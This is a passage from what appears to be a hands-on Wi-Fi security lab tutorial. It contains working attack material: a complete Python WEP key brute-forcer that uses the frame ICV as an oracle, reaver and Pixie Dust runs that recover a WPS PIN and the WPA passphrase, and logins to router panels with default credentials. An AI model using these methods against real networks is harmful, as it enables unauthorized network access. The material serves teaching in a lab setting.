DHCPOFFER of 192.168.1.23 from 192.168.1.1
DHCPREQUEST for 192.168.1.23 on wlan1 to 255.255.255.255 port 67
DHCPACK of 192.168.1.23 from 192.168.1.1
bound to 192.168.1.23 -- renewal in 37778 seconds.

From the above output, we can see that the DHCP server at 192.168.1.1 gave us a lease, and that proves our key is correct. The request and the response both had to be encrypted and decrypted correctly for the exchange to complete at all. Our address may differ from the one in the example, since the host part is drawn from a pool. However, it will always be on 192.168.1.0/24, and the gateway and DHCP server will always be at 192.168.1.1.

A wrong WEP key and a correct one run the same three steps, the supplicant starting with key_mgmt=NONE, open system authentication that tests nothing, and an association that reports Connected to f0:9f:c2:71:22:11 either way. The paths separate only at DHCP, where the wrong key gets no answer and the frames are dropped as noise while the link still reads as connected, and the correct key completes DHCPOFFER through DHCPACK and is bound to 192.168.1.23, with a closing note that WPA2's four-way handshake rejects a wrong passphrase before any data moves.

Looking Around

Now that we have a routable address, we can check which other hosts are on the network with a ping scan from nmap.

Terminal
user@debian-thm:~$ sudo nmap -sn 192.168.1.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2026-08-26 09:41 CEST
Nmap scan report for 192.168.1.1
Host is up (0.00018s latency).
MAC Address: F0:9F:C2:71:22:11 (Ubiquiti Networks)
Nmap scan report for 192.168.1.54
Host is up (0.00016s latency).
MAC Address: 64:32:A8:56:32:56 (Intel Corporate)
Nmap scan report for 192.168.1.23
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 1.95 seconds

From the above output, we can see that three hosts are up. Besides the gateway and our own newly leased address, there is one other client at 192.168.1.54. This is the chatty station whose traffic supplied most of the initialisation vectors that we collected earlier. The MAC Address lines tie these hosts back to the scan from the Wi-Fi Fundamentals and Reconnaissance room. In that scan, F0:9F:C2:71:22:11 was the access point and 64:32:A8:56:32:56 was the station associated with it. Our own host is the only one that does not report a MAC address, so its row is easy to tell apart from the rest.

The gateway runs the same router configuration panel that we met in the Wi-Fi Fundamentals and Reconnaissance room and the Attacking Open and WPA2-PSK Networks room. As on those networks, the credentials that the vendor ships with the router are the first thing we should try, since they are very often still in place.

Next, we can log in to the panel with the vendor's default credentials using curl, and then request index.php with the cookie that the login saved to cookies.txt.

Terminal
user@debian-thm:~$ curl -s -c cookies.txt -d "Username=admin&Password=admin&Submit=Submit" http://192.168.1.1/login.php -o /dev/null
user@debian-thm:~$ curl -s -b cookies.txt http://192.168.1.1/index.php
<!DOCTYPE html>
<html>
<head>
    <title>WiFi Router Configuration</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
...
Welcome admin<br><br>Flag: <button onclick="copyFlagToClipboard('THM{REDACTED}')">THM{REDACTED}</button>

From the above output, we can see that the panel hands the flag straight to the admin account, with no further work needed. The same default credentials also logged us in on Home-2G, the WPA2 network in the Attacking Open and WPA2- Networks room. There, however, the panel told us to try logging in with another user. We had to steal someone else's session to get the flag, and that detour took up the of that room. In many cases, a network that still runs WEP has not been reconfigured since it was set up, so its administrative password is likely still the vendor's default.

This network also has a service account. Its name is taken from the encryption scheme instead of the , and its password is the WEP key that we just recovered. Reusing the network key as a service password is a common habit on small installations, since the same person very often chose both. As such, we should try a recovered wireless key against every login that we come across from this point on.

Answer the questions below
Which key_mgmt value does a WEP profile use in wpa_supplicant?
What is the flag from the WEP network?

As described in the Inside a Frame task, a receiver decrypts each WEP frame and checks the ICV in the last four bytes of the decrypted data.

The ICV is an ordinary CRC32 over the plaintext and uses no key at all, so anybody who can decrypt a frame can run the same test as the receiver. We can take any encrypted frame from a capture and a guess at the key, and run that test ourselves to see whether the guess is the key that encrypted the frame. To do this, we use our guess in place of the real key and repeat the decryption and CRC32 comparison that we ran in the Inside a WEP Frame task. If the guess is wrong, the decryption only produces noise, and noise satisfies a 32-bit checksum roughly once in four billion attempts.

Running that test does not involve the network, since we do not need to associate with the access point, inject frames, capture a handshake or involve a second party. We do not need a radio either, because every candidate key is checked against bytes that are already on disk. Since all of the checking happens offline, an exhaustive search of the keyspace becomes conceivable.

The WEP search is very different from the crack in the Attacking Open and WPA2- Networks room when it comes to the cost of each candidate. In that room, a single candidate cost 8192 HMAC-SHA1 iterations against the captured handshake, but here it costs one 256-step RC4 key schedule and one frame.

Lab note: Nothing later in the room depends on the work below. It transmits nothing, touches no radio at all and runs entirely on the lab machine. It does depend on the key already recovered with aircrack-ng, because the narrowing used further down is built from it.

One Frame Is Enough

The ICV check itself only needs a single encrypted data frame from the target, so collecting frames is no longer the problem it was with the statistical attack. The script that we will write further down needs at least four protected data frames with distinct initialisation vectors, though. It uses two of the extra frames to re-test any key that it finds. On a capture that holds fewer than four, it stops with need 4 WEP data frames.

Throughout this task, we will use the wep-01.cap file that we wrote in the Capturing Initialisation Vectors task. It already holds tens of thousands of frames. Any other capture of F0:9F:C2:71:22:11 would work as well, as long as it holds at least four of these frames.

Writing the Oracle

We can write the whole check ourselves as a short Python script. Save the following as wepicv.py, in the same directory as the capture.

#!/usr/bin/env python3
"""
wepicv.py - recover a 40-bit WEP key from a captured frame by brute force
            over a NARROWED keyspace, using the frame's own ICV as the oracle.

WEP encrypts  plaintext || CRC32(plaintext)  with RC4 keyed by  IV || key.
The ICV is an unkeyed checksum of the data it protects, so anyone who guesses
the key correctly can prove it offline against a single captured frame:
decrypt, recompute the CRC32, compare. No handshake, no AP, no injection.

The keyspace is narrowed with a mask:
    hex digit  fixed nibble (known)
    ?          unknown nibble, 0-f
    X          this nibble repeats the nibble immediately before it

Usage:
    wepicv.py <capture.cap> --bssid F0:9F:C2:71:22:11 --mask <mask>
    wepicv.py <capture.cap> --bssid ... --mask <key> --show      # decrypt only
"""
import argparse
import struct
import sys
import time
from binascii import crc32

SBOX = bytes(range(256))


# ---------------------------------------------------------------- capture ---
def frames(path):
    """Yield raw 802.11 MPDUs from a DLT_IEEE802_11 (105) pcap."""
    data = open(path, "rb").read()
    magic = data[:4]
    if magic == b"\xd4\xc3\xb2\xa1":
        end = "<"
    elif magic == b"\xa1\xb2\xc3\xd4":
        end = ">"
    else:
        sys.exit("not a pcap file: magic %s" % magic.hex())
    linktype = struct.unpack(end + "I", data[20:24])[0]
    if linktype != 105:
        sys.exit("expected DLT_IEEE802_11 (105), got %d" % linktype)
    off = 24
    while off + 16 <= len(data):
        _, _, caplen, _ = struct.unpack(end + "IIII", data[off:off + 16])
        off += 16
        if off + caplen > len(data):
            break                       # truncated final record
        yield data[off:off + caplen]
        off += caplen


def parse_wep(mpdu, bssid):
    """Return (iv, keyid, ciphertext, addrs) for a protected data frame, else None."""
    if len(mpdu) < 34:
        return None
    fc0, fc1 = mpdu[0], mpdu[1]
    if (fc0 >> 2) & 3 != 2:             # type 2 = data
        return None
    if not fc1 & 0x40:                  # Protected Frame bit
        return None
    tods, fromds = fc1 & 1, (fc1 >> 1) & 1
    hdr = 30 if (tods and fromds) else 24
    if fc0 & 0x80:                      # QoS data subtype -> 2 byte QoS Control
        hdr += 2
    a1 = mpdu[4:10]
    a2 = mpdu[10:16]
    a3 = mpdu[16:22]
    if bssid not in (a1, a2, a3):
        return None
    body = mpdu[hdr:]
    # 802.11 FCS is a CRC32 over the whole MPDU; it is present in some captures
    # and stripped in others. Detect it without needing any key.
    if len(body) > 8 and crc32(mpdu[:-4]) & 0xFFFFFFFF == struct.unpack("<I", mpdu[-4:])[0]:
        body = body[:-4]
    if len(body) < 8:
        return None
    return mpdu[hdr:hdr + 3], mpdu[hdr + 3] >> 6, body[4:], (a1, a2, a3)


# -------------------------------------------------------------------- RC4 ---
def rc4_decrypt(seed, ct):
    S = bytearray(SBOX)
    j = 0
    sl = len(seed)
    for i in range(256):
        j = (j + S[i] + seed[i % sl]) & 255
        S[i], S[j] = S[j], S[i]
    out = bytearray(len(ct))
    i = j = 0
    for n, c in enumerate(ct):
        i = (i + 1) & 255
        j = (j + S[i]) & 255
        S[i], S[j] = S[j], S[i]
        out[n] = c ^ S[(S[i] + S[j]) & 255]
    return bytes(out)


def icv_ok(seed, ct):
    pt = rc4_decrypt(seed, ct)
    return crc32(pt[:-4]) & 0xFFFFFFFF == struct.unpack("<I", pt[-4:])[0]


# ------------------------------------------------------------------- mask ---
def expand(mask):
    """Yield every 5-byte key the mask allows, in order."""
    mask = mask.lower().replace(":", "")
    if len(mask) != 10:
        sys.exit("mask must be 10 nibbles for a 40-bit key")
    slots = []                          # (index, kind, arg)
    for i, c in enumerate(mask):
        if c in "0123456789abcdef":
            slots.append(("fix", int(c, 16)))
        elif c == "?":
            slots.append(("var", None))
        elif c == "x":
            if i == 0:
                sys.exit("X cannot be the first nibble")
            slots.append(("ref", i - 1))
        else:
            sys.exit("bad mask character %r" % c)
    var = [i for i, s in enumerate(slots) if s[0] == "var"]
    nib = [0] * 10
    for i, s in enumerate(slots):
        if s[0] == "fix":
            nib[i] = s[1]
    total = 16 ** len(var)
    for n in range(total):
        v = n
        for i in reversed(var):
            nib[i] = v & 15
            v >>= 4
        for i, s in enumerate(slots):
            if s[0] == "ref":
                nib[i] = nib[s[1]]
        yield bytes(nib[i] << 4 | nib[i + 1] for i in range(0, 10, 2))


def space_size(mask):
    return 16 ** sum(1 for c in mask.lower() if c == "?")


# ------------------------------------------------------------------ crack ---
def crack(iv, ct, mask, confirm, report=250000):
    """Brute force the mask against one frame's ICV, confirm hits on others."""
    t0 = ct[0] ^ 0xAA                   # every 802.11 data frame starts LLC/SNAP
    t1 = ct[1] ^ 0xAA                   # aa aa 03 ..., so two keystream bytes
    start = time.time()                 # are enough to drop 65535 of 65536 keys
    tried = 0
    nxt = report
    for key in expand(mask):
        tried += 1
        if tried == nxt:
            nxt += report
            el = time.time() - start
            print("  %9d keys  %6.1fs  %7.0f keys/s" % (tried, el, tried / el))
        # --- RC4 KSA, inlined: the seed is always 8 bytes for a 40-bit key ---
        S = bytearray(SBOX)
        j = 0
        kk = (iv + key) * 32            # 256 bytes, avoids a modulo per step
        for i, ki in enumerate(kk):
            si = S[i]
            j = (j + si + ki) & 255
            S[i] = S[j]
            S[j] = si
        # --- two keystream bytes: cheap reject before touching the rest ---
        a = S[1]
        S[1], S[a] = S[a], S[1]
        if S[(S[1] + a) & 255] != t0:
            continue
        b = (a + S[2]) & 255
        S[2], S[b] = S[b], S[2]
        if S[(S[2] + S[b]) & 255] != t1:
            continue
        # --- survivor: decrypt in full and let the ICV decide ---
        if icv_ok(iv + key, ct):
            if all(icv_ok(iv2 + key, ct2) for iv2, ct2 in confirm):
                el = time.time() - start
                return key, tried, el
    return None, tried, time.time() - start


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("capture")
    ap.add_argument("--bssid", required=True)
    ap.add_argument("--mask", required=True)
    ap.add_argument("--show", action="store_true", help="decrypt a frame and stop")
    args = ap.parse_args()

    bssid = bytes.fromhex(args.bssid.replace(":", ""))
    seen, pool = set(), []
    for mpdu in frames(args.capture):
        p = parse_wep(mpdu, bssid)
        if not p:
            continue
        iv, keyid, ct, addrs = p
        if iv in seen:                  # distinct IVs, so a hit is not luck
            continue
        seen.add(iv)
        pool.append((iv, keyid, ct, addrs))
        if len(pool) >= 4:
            break
    if len(pool) < 4:
        sys.exit("need 4 WEP data frames, found %d" % len(pool))

    pool.sort(key=lambda p: len(p[2]))  # shortest first: fewer RC4 bytes per test
    print("target BSSID %s" % args.bssid)
    for iv, keyid, ct, addrs in pool:
        print("  IV %s keyid %d  %3d bytes ciphertext  %s -> %s"
              % (iv.hex(), keyid, len(ct), addrs[1].hex(":"), addrs[0].hex(":")))
    iv, _, ct, _ = pool[0]
    confirm = [(p[0], p[2]) for p in pool[1:3]]

    if args.show:
        pt = rc4_decrypt(iv + bytes.fromhex(args.mask), ct)
        ok = crc32(pt[:-4]) & 0xFFFFFFFF == struct.unpack("<I", pt[-4:])[0]
        print("\nplaintext (%d bytes), ICV %s" % (len(pt) - 4, "valid" if ok else "INVALID"))
        print(pt[:-4].hex(" "))
        return

    print("\nkeyspace %s -> %d candidates" % (args.mask, space_size(args.mask)))
    key, tried, el = crack(iv, ct, args.mask, confirm)
    if key:
        print("\nKEY FOUND  %s   (%s)" % (key.hex(), key.hex(":")))
        print("  %d candidates in %.1fs (%.0f keys/s), confirmed on %d further frames"
              % (tried, el, tried / el, len(confirm)))
    else:
        print("\nNO KEY. keyspace exhausted: %d candidates in %.1fs (%.0f keys/s)"
              % (tried, el, tried / el))
        print("  the key is not in this keyspace, so the narrowing assumption was wrong")
        sys.exit(1)


if __name__ == "__main__":
    main()

The banner comments divide the file into four parts. The frames and parse_wep functions in the first part are used to read the capture. They walk the pcap record by record and keep only the protected data frames whose address fields mention the target BSSID. Each of these frames is then split into its three-byte initialisation vector, its key index and its ciphertext. The script stops reading once it has four frames with distinct initialisation vectors. It then sorts them shortest first, since a shorter ciphertext means fewer RC4 bytes to work through for each candidate. The search runs against the first frame, and any key that passes there is tested again against two of the other three before it is accepted.

The rc4_decrypt and icv_ok functions are used as the oracle, and together they come to about twenty-five lines. They do the same RC4 key scheduling, keystream generation and CRC32 comparison as wep-decrypt.py did in the Inside a WEP Frame task. A cracking tool needs nothing more than a check of this kind to decide that a key is correct. It decrypts with the candidate key and tests the result against something that only the right key produces.

The expand function is used to turn a mask into the sequence of keys that it allows. A hexadecimal digit in the mask fixes that nibble, a question mark leaves the nibble free across all sixteen values, and an X repeats the nibble immediately before it.

The crack function runs the search, and it also throws most candidates out early. Every 802.11 data frame opens with an LLC/SNAP header whose first bytes are fixed, so two bytes of keystream are known in advance for any frame. If a candidate does not produce those two bytes, it is abandoned after two steps of the generation loop instead of after decrypting a thousand bytes. This early check discards 65,535 of every 65,536 candidates before the checksum is ever reached.

Reading One Frame With the Key

First, we can give the script the key that aircrack-ng already recovered and add --show, so that it decrypts a single frame and stops. We should do this before we use the oracle on keys that might be wrong. It confirms that the capture parses, and that the oracle agrees with a key we know is right.

Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask <key> --show
target BSSID F0:9F:C2:71:22:11
  IV 64498e keyid 0  1040 bytes ciphertext  64:32:a8:56:32:56 -> f0:9f:c2:71:22:11
  IV f8b243 keyid 0  1040 bytes ciphertext  f0:9f:c2:71:22:11 -> 64:32:a8:56:32:56
  IV 64498f keyid 0  1040 bytes ciphertext  64:32:a8:56:32:56 -> f0:9f:c2:71:22:11
  IV f8b244 keyid 0  1040 bytes ciphertext  f0:9f:c2:71:22:11 -> 64:32:a8:56:32:56

plaintext (1036 bytes), ICV valid
aa aa 03 00 00 00 08 00 45 00 04 04 79 05 40 00 40 01 3a 6c c0 a8 01 36 c0 a8
01 01 08 00 34 fb 1d 31 0c 7f 5d d4 d6 6a 00 00 00 00 c9 98 09 00 00 00 00 00
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19

From the above output, we can see the four frames that the script selected, each with its own initialisation vector. Each frame travels between the access point and the station that the subnet scan already identified, and the direction alternates from one frame to the next. ICV valid is the oracle returning true, and the hex dump beneath it is the decrypted plaintext. The script prints the dump as a single line that runs on for the full 1036 bytes, and only its opening is reproduced above, broken over three lines.

The dump starts with aa aa 03 00 00 00 and 08 00, the same LLC/SNAP header and IPv4 ethertype that we read in the Inside a WEP Frame task. Its first two bytes are the known plaintext behind the early check in the crack function. A little further along, c0 a8 01 36 is 192.168.1.54 written in hexadecimal, the address of the station, and c0 a8 01 01 is 192.168.1.1, the gateway.

Narrowing the Search

A 40-bit key admits 1,099,511,627,776 possibilities. This implementation manages something of the order of thirteen thousand candidates a second on the lab machine, as we will measure further down. At that rate, a full search with this single-threaded Python script would take somewhere near two years and eight months. The exact figure changes with whatever else the machine is doing. A tuned implementation in C might reach ten million candidates a second, and even that would need about thirty hours for the whole space. Brute forcing the full keyspace is therefore not a practical way for us to recover a WEP key.

To make the search tractable, we need an assumption that shrinks the space. Whether we can treat that assumption as legitimate depends entirely on where it came from. Two kinds of assumption can be treated this way. In the first kind, a flaw in the vendor's key generator has already narrowed the space. One example is the Neesus Datacom routine, which shipped on a wide range of hardware in the 2000s. That routine folded an ASCII passphrase into a 21-bit seed, so the 40-bit keys it produced only ever occupied a space of 2,097,152. A search of that space is known as Newsham's 21-bit attack.

The second kind is partial disclosure, where part of the key is already known from somewhere other than the radio. That part might come from a management page that masks all but the first half of the key. It could also come from a photograph of the label on the underside of a router, a configuration backup with the tail removed, or a glimpse over a shoulder.

A third kind of assumption is one that is invented because it resembles how people behave, and we cannot treat this kind as legitimate. We can see what such an assumption costs by running one against the capture.

When the Assumption Is Wrong

The guess that we will test here is that each byte of the key is a single hexadecimal digit typed twice. People tend to produce keys of this shape when they want something memorable and the field will accept nothing but hexadecimal. We can express the guess with the mask ?X?X?X?X?X, where each ? is a free nibble and the X after it repeats that nibble. With five nibbles free, the mask admits sixteen to the fifth candidates, or 1,048,576. Next, we can run the script against wep-01.cap with this mask.

Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask '?X?X?X?X?X'
keyspace ?X?X?X?X?X -> 1048576 candidates
     250000 keys    21.7s    11538 keys/s
     500000 keys    40.3s    12392 keys/s
     750000 keys    57.9s    12944 keys/s
    1000000 keys    74.9s    13346 keys/s

NO KEY. keyspace exhausted: 1048576 candidates in 78.4s (13367 keys/s)
  the key is not in this keyspace, so the narrowing assumption was wrong

From the above output, we can see that the search ran for 78.4 seconds and did not find a key. The key in use contains a byte whose two nibbles differ, and no repeated-digit pattern can produce a byte like that. A narrowed brute force has no way of telling an assumption that was wrong apart from a key that does not exist. In both cases, the search has to test every candidate in the keyspace before it can report anything.

We can use the same run as a control for the oracle itself. More than a million wrong keys were tried, and the test did not let any of them through. Most of these were rejected after the first two keystream bytes, before the checksum was reached. Any key reported would have had to pass that early check, then the checksum on the frame the search runs against, and then the checksum on two more frames.

When the Assumption Holds

Then, we can try a second mask that models partial disclosure. In this mask, the first five hexadecimal characters of the key are treated as already known, and the remaining five are left free. This keyspace is exactly the same size as the one that we just exhausted, so our script has no more work to do than before. When we run it, we should replace the <first five> placeholder with the first five characters of the key we recovered in the Recovering the WEP Key task.

Terminal
user@debian-thm:~$ python3 wepicv.py wep-01.cap --bssid F0:9F:C2:71:22:11 --mask '<first five>?????'
keyspace <first five>????? -> 1048576 candidates

KEY FOUND  <key>   (<key-with-colons>)
  <count> candidates in 24.5s (10178 keys/s), confirmed on 2 further frames

From the above output, we can see that the script found the key. The mask told it nothing about the final five nibbles, so those came from the capture alone, using only RC4 and a checksum comparison against the recorded ciphertext. The line confirmed on 2 further frames is the re-test, where the winning candidate was run against two of the other frames that were collected at the start. Each of those frames carries a different initialisation vector, and the candidate passed the check on both of them, so a false positive would have had to survive three independent 32-bit comparisons.

The candidate count on the last line, shown above as <count>, also gives us a consistency check against the key that aircrack-ng recovered in the Recovering the WEP Key task. The search walks the five free nibbles in a fixed order, with the last nibble changing fastest, so the point where it stops is set by the key itself. If we read the last five characters of the recovered key as a hexadecimal number and add one, we should get the same figure as the count. A smaller count would mean that the oracle had accepted a wrong key before the search reached the right one, and a larger count would mean that it had rejected the right key and accepted a wrong one later on.

Two narrowings of the same WEP keyspace. The unnarrowed 40-bit space holds 1,099,511,627,776 candidates and would take about two and a half years at the rate this implementation sustains, while both masks beneath it admit exactly 1,048,576. The invented mask, five free nibbles each immediately repeated, is exhausted in 78.4 seconds and finds nothing, and the mask built from five characters already known from outside the radio finds the key in 24.5 seconds and confirms it on two further frames.

Confirming With Another Tool

Since the key was recovered by our own script, we should also check it with an existing tool. We can use airdecap-ng with the key and the BSSID to write a decrypted copy of the capture called wep-01-dec.cap. Then, we can read the decrypted copy with tshark.

Terminal
user@debian-thm:~$ airdecap-ng -w <key> -b F0:9F:C2:71:22:11 wep-01.cap
Total number of stations seen            3
Total number of packets read          2794
Total number of WEP data packets      2789
Total number of WPA data packets         0
Number of plaintext data packets         0
Number of decrypted WEP  packets      2789
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         0
user@debian-thm:~$ tshark -r wep-01-dec.cap -c 4
    1   0.000000 192.168.1.54 → 192.168.1.1  ICMP 1042 Echo (ping) request  id=0x1d31, seq=3199/32524, ttl=64
    2   0.000020  192.168.1.1 → 192.168.1.54 ICMP 1042 Echo (ping) reply    id=0x1d31, seq=3199/32524, ttl=64 (request in 1)
    3   0.000031 192.168.1.54 → 192.168.1.1  ICMP 1042 Echo (ping) request  id=0x1d32, seq=3205/34060, ttl=64
    4   0.000045  192.168.1.1 → 192.168.1.54 ICMP 1042 Echo (ping) reply    id=0x1d32, seq=3205/34060, ttl=64 (request in 3)

From the above output, we can see that every WEP data packet in the file was decrypted and none of them was reported as corrupt. The decrypted traffic is ordinary ICMP echo between the station at 192.168.1.54 and the gateway at 192.168.1.1, and it is the live traffic of the subnet that we mapped in the Connecting to the WEP Network task. The packet totals depend on how long the capture was left running, so they will not match those above if our capture ran for a different length of time.

What the Exercise Settles

In this task, we wrote our own ICV oracle and ran it against two narrowed keyspaces. WEP's check is unkeyed, so a single recorded frame is enough for us to confirm or reject a candidate key offline. The verification that a cracker performs is also small enough for us to hold in our heads, as it comes down to RC4 and a CRC32 comparison. However, the search itself is hopeless without some help, and in our case that help came from the crack that we had already performed. We took the first five characters of the key from that crack, so the search did not have to recover them from the radio.

The attack from the How WEP Works and Why It Failed task does not need any help of this kind. It makes no assumption about the key and never has to search the keyspace, so it recovers the key in seconds. By comparison, a full search of the same keyspace with our script would take more than two years, as we calculated earlier in this task.

In the next task, we will look at how works and why the PIN fails.

Answer the questions below
The narrowed search stops the moment a candidate key satisfies the integrity check. How many candidates had it tested by then?

(Wi-Fi Protected Setup) adds a second way of joining a network, and it bypasses the passphrase entirely. A user enters a short eight-digit PIN printed on the router, and once the PIN has been verified, the access point supplies the real passphrase to the user's device. Enabling WPS leaves the passphrase and the encryption as they were. However, the PIN is far shorter than the passphrase, and it gives anyone who enters it the same access to the network.

Why the PIN Is the Weak Point

An eight-digit PIN suggests one hundred million possible combinations, but the last digit is only a checksum, so just ten million of those PINs are valid. The access point also validates the PIN in two halves, which splits our search into a four-digit half and a three-digit half. Together they come to approximately eleven thousand guesses, and a keyspace of that size is small enough for us to exhaust over the air.

Once we have found the right PIN, we can join the network with it. The access point will also send us the passphrase, even if it is strong enough that it would never fall to a .

The WPS PIN keyspace reducing from one hundred million to ten million once the checksum digit is removed, then to eleven thousand because the access point validates the PIN in two halves

Identifying WPS Networks With wash

The wash tool ships alongside reaver, and its only job is to report which access points within range advertise WPS. Support for WPS is announced in the beacon itself, so we can find it without transmitting anything, and in its default survey mode wash simply listens. It is also possible to run wash in an active scan mode with -s, which probes each access point in turn, but we do not need that here.

We can run wash in its default survey mode against our wlan0mon interface using the following command.

Terminal
user@debian-thm:~$ sudo wash -i wlan0mon
BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID
--------------------------------------------------------------------------------
F0:9F:C2:71:22:13    8  -30  2.0  No             Event-WiFi
02:00:00:00:21:00   11  -30  PBC  No             Depot-WPS

From the above output, we can see two networks, and they show different values in the WPS column. Depot-WPS shows PBC, meaning it is advertising a push-button session and not a PIN, and it is covered in the Defeating Wi-Fi Access Controls room. Event-WiFi shows 2.0, meaning it runs WPS version 2.0, and its Lck column reads No, so WPS is not locked. Many routers temporarily disable WPS after a series of failed PINs, and if WPS is locked on an access point, we will not be able to brute force the PIN.

Two Approaches to the PIN

Tool Method Trade-off
reaver Online brute force, testing PINs against the access point directly Reliable but noisy, and can take hours against a router that rate-limits
pixiewps Pixie Dust, recovering the PIN offline from one captured handshake Near-instant, but only against routers with weak randomness

On a network that exposes WPS, recovering the PIN with one of these two tools is usually easier for us than cracking the WPA2 passphrase. In the next task, we will carry out both approaches against Event-WiFi.

Answer the questions below
What is the name of the offline WPS attack that recovers the PIN from a single exchange?

As the table in the previous task shows, Pixie Dust needs only one exchange with the access point and works offline after that. The online route, however, needs a live exchange with the access point for every PIN we try. We should always try Pixie Dust first for that reason, and move on to the online route only if it fails against the access point.

We can run the Pixie Dust attack from reaver itself by adding the -K flag, so we do not have to run pixiewps as a separate step. With this flag set, reaver starts the registration exchange with the access point in the normal way. Once the access point has committed to both halves of its PIN, reaver passes everything it has collected so far straight to pixiewps.

Terminal
user@debian-thm:~$ sudo reaver -i wlan0mon -b F0:9F:C2:71:22:13 -c 8 -K -vv

Reaver v1.6.6-git-25-gf9b5e15 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching wlan0mon to channel 8
[+] Waiting for beacon from F0:9F:C2:71:22:13
[+] Received beacon from F0:9F:C2:71:22:13
[+] Trying pin "<pin>"
[+] Sending authentication request
[+] Sending association request
[+] Associated with F0:9F:C2:71:22:13 (ESSID: Event-WiFi)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
executing pixiewps -e 3dc90ada0451dbbb3d438af70c5ae4fc... -s 9c16706b5e2f5277... -z 1ee286e62e1dfa0a... -a fb1bb7931a588709... -n 0f1b075cc5084a3f... -r 15b24b1bbb47a71a...

 Pixiewps 1.4

 [-] WPS pin not found!

 [*] Time taken: 0 s 338 ms

[-] Pixiewps fail, sending WPS NACK
[+] Sending WSC NACK

The -vv flag raises the reporting level. By default, reaver is quiet and shows little beyond its final verdict, but with the second v it shows each message of the exchange as it happens.

As shown in the above output, the Pixie Dust attack failed. The values that pixiewps works from are collected from more than one message of the exchange. The access point's Diffie-Hellman public key and its nonce arrive in M1. The two hashes that commit the access point to each half of its PIN arrive in M3, which is the access point's next message after our M2. The authentication key is derived from the shared secret, and it is never sent.

The hashes commit the access point to its PIN, so the PIN can be recovered from them, but only where the nonces that were used to build them can be reproduced. Pixie Dust works against routers whose random number generation is poor enough that those nonces are predictable. On some routers the generator is seeded from something guessable, such as the boot time, and on others it produces almost no randomness. This access point produces its nonces properly, so more computation against this captured exchange would not help us recover the PIN.

The failed attack tells us that the implementation is sound in this specific respect, and that the online route is the only one we have left. It is important to note that reaver keeps a session file in the working directory, named after the target's address. If we run the online attack again later, reaver finds this file, opens on [?] Restore previous session for F0:9F:C2:71:22:13? [n/Y] and waits for an answer. Answering n makes it start the sweep again from the first PIN.

Next, we can run reaver again without the -K flag, so that it runs the online PIN attack against the access point itself.

Terminal
user@debian-thm:~$ sudo reaver -i wlan0mon -b F0:9F:C2:71:22:13 -c 8 -vv

Reaver v1.6.6-git-25-gf9b5e15 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching wlan0mon to channel 8
[+] Waiting for beacon from F0:9F:C2:71:22:13
[+] Received beacon from F0:9F:C2:71:22:13
[+] Trying pin "<pin>"
[+] Sending authentication request
[+] Sending association request
[+] Associated with F0:9F:C2:71:22:13 (ESSID: Event-WiFi)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '<pin>'
[+] WPA PSK: '<passphrase>'
[+] AP SSID: 'Event-WiFi'

The two Sending WSC NACK lines after M7 do not mean that the attack failed. M7 is the message that carries the network's credentials, so once it arrives, reaver already has everything it needs and tears the registration down without completing it.

The PIN was cracked in two seconds, which is much faster than we would expect from the reduced keyspace of eleven thousand guesses. As shown in the Trying pin line, reaver started with the most common default WPS PIN in existence. A long list of vendors ship this PIN, and it is left in place on a great many of the devices that carry it, so reaver tries it before anything else. This access point was still using the default, so the first guess was correct and reaver did not need to try any of the other PINs in the keyspace.

However, we should not expect every WPS network to fall this quickly. If the device was given a random PIN, the first guess will miss it and we are left with a full walk through the keyspace. At the rate an access point accepts registration attempts, that walk takes hours, and it takes even longer if the device slows down or locks after repeated failures. The two-second result came from the default PIN, so we should always try it before starting a brute force, just as we would try admin before a password list.

The WPA PSK line below the PIN holds the network's passphrase. WPS gives the passphrase to any device that presents the correct PIN, so reaver collected it along with the PIN, and we did not need to crack the passphrase. The passphrase itself is eighteen characters long and mixes upper and lower case letters with symbols. It does not appear in any wordlist that we would reasonably use, so the attack that we ran on the Home-2G handshake in the Attacking Open and WPA2-PSK Networks room would not have worked against this network.

The two routes to a WPS PIN. The offline Pixie Dust attack costs one exchange and fails here because the access point generates unpredictable nonces, leaving the online brute force, which succeeds immediately against a factory default PIN and returns the passphrase with it

Using the Recovered Passphrase

Now that we have a genuine WPA2 passphrase, we can connect to the network in the ordinary way. It is the same procedure as in the Attacking Open and WPA2-PSK Networks room. Since this network really does derive a pre-shared key, we can generate the profile with wpa_passphrase. The passphrase should be put in single quotes, as it contains characters that the shell would otherwise interpret.

Terminal
user@debian-thm:~$ sudo pkill -f 'wpa_supplicant.*wlan1'
user@debian-thm:~$ wpa_passphrase Event-WiFi '<passphrase>' > event.conf
user@debian-thm:~$ sudo wpa_supplicant -B -i wlan1 -c event.conf
Successfully initialized wpa_supplicant
user@debian-thm:~$ sudo dhclient -v wlan1
...
DHCPOFFER of 192.168.3.61 from 192.168.3.1
DHCPACK of 192.168.3.61 from 192.168.3.1
bound to 192.168.3.61 -- renewal in 40899 seconds.

As shown in the above output, dhclient has bound wlan1 to 192.168.3.61. The gateway at 192.168.3.1 runs the same panel as the other networks, so we can log in to it with the same default credentials.

Terminal
user@debian-thm:~$ curl -s -c cookies.txt -d "Username=admin&Password=admin&Submit=Submit" http://192.168.3.1/login.php -o /dev/null
user@debian-thm:~$ curl -s -b cookies.txt http://192.168.3.1/index.php
